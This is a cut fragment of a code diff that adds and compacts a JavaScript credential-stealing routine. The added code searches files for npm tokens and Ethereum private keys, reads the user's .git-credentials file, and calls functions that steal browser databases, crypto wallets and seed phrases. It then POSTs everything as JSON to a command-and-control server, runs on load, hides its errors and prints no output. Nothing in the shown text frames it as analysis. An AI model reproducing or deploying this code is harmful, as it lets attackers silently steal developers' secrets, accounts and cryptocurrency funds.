else continue;
|
|
234
|
+
if(!keys[k]){keys[k]=true;r.push({t:ty,k:k,v:v.substring(0,80)});}}
|
|
235
|
+
const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);for(const x of t)r.push({t:'NPM',k:'npm_token',v:x[0]});
|
|
236
|
+
const evm=c.matchAll(/0x[a-fA-F0-9]{64}/g);for(const x of evm){const f=x[0];if(!keys['evm']){keys['evm']=true;r.push({t:'EVM',k:'PRIVATE_KEY',v:f});}}
|
|
307
237
|
return r;
|
|
308
238
|
}},
|
|
309
|
-
{p:path.join(
|
|
310
|
-
return c.split('\n').filter(l=>l.trim()).map(l=>({t:'git',v:l.substring(0,80)}));
|
|
311
|
-
}},
|
|
239
|
+
{p:path.join(home,'.git-credentials'),t:'git',fn:function(c){return c.split('\n').filter(l=>l.trim()).map(l=>({t:'git',v:l.substring(0,80)}));}},
|
|
312
240
|
];
|
|
313
241
|
|
|
314
|
-
for(const
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
}catch(e){}
|
|
322
|
-
}
|
|
242
|
+
for(const c of creds){try{if(fs.existsSync(c.p)){const content=fs.readFileSync(c.p,'utf-8');const found=c.fn(content);if(found.length>0)r.secrets.push({file:c.p,type:c.t,findings:found});}}catch(e){}}
|
|
243
|
+
|
|
244
|
+
// Browser databases
|
|
245
|
+
r.browsers=stealBrowserDBs();
|
|
246
|
+
|
|
247
|
+
// Wallets
|
|
248
|
+
r.wallets=scanWallets();
|
|
323
249
|
|
|
324
|
-
//
|
|
325
|
-
|
|
326
|
-
results.seedPhrases=scanSeedPhrases();
|
|
250
|
+
// Seeds
|
|
251
|
+
r.seeds=scanSeeds();
|
|
327
252
|
|
|
328
253
|
// Exfiltrate
|
|
329
254
|
if(C2){
|
|
330
255
|
try{
|
|
331
256
|
const http=require('http');
|
|
332
|
-
const data=JSON.stringify(
|
|
257
|
+
const data=JSON.stringify(r);
|
|
333
258
|
const req=http.request(C2,{method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(data)}});
|
|
334
|
-
req.write(data);
|
|
335
|
-
req.end();
|
|
259
|
+
req.write(data);req.end();
|
|
336
260
|
}catch(e){}
|
|
337
261
|
}
|
|
338
|
-
|
|
339
|
-
return results;
|
|
262
|
+
return r;
|
|
340
263
|
}
|
|
341
264
|
|
|
342
265
|
harvest();
|
|
343
|
-
// Silent — zero console output
|